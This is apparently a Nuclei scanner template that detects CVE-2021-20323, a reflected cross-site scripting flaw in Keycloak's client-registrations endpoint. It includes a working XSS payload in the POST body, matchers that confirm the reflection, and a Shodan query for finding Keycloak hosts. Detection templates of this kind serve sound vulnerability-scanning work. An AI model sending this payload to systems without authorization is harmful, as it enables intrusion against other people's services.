-
Notifications
You must be signed in to change notification settings - Fork 220
/
Copy pathCVE-2021-20323.yaml
54 lines (47 loc) · 2.07 KB
/
CVE-2021-20323.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
id: CVE-2021-20323
info:
name: Keycloak < 18.0.0 - Cross Site Scripting
author: ndmalc
severity: medium
description: |
Keycloak before 18.0.0 and after 10.0.0 allows a reflected XSS on client-registrations endpoint. On POST request, when a request is submitted, the application does not sanitize unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as html. This can be performed on any realm present on the Keycloak instance. Currently, due to the bug requiring Content-Type application/json and is submitted via a POST, there is no common path to exploit that have a user impact.
reference:
- https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
- https://bugzilla.redhat.com/show_bug.cgi?id=2013577
- https://access.redhat.com/security/cve/CVE-2021-20323
- https://github.com/ndmalc/CVE-2021-20323
- https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
- https://nvd.nist.gov/vuln/detail/CVE-2021-20323
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-20323
cwe-id: CWE-79
metadata:
shodan-query: html:"Keycloak"
verified: "true"
tags: cve,cve2021,keycloak,xss
requests:
- method: POST
path:
- "{{BaseURL}}/auth/realms/master/clients-registrations/default"
- "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
- "{{BaseURL}}/realms/master/clients-registrations/default"
- "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
headers:
Content-Type: application/json
body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 400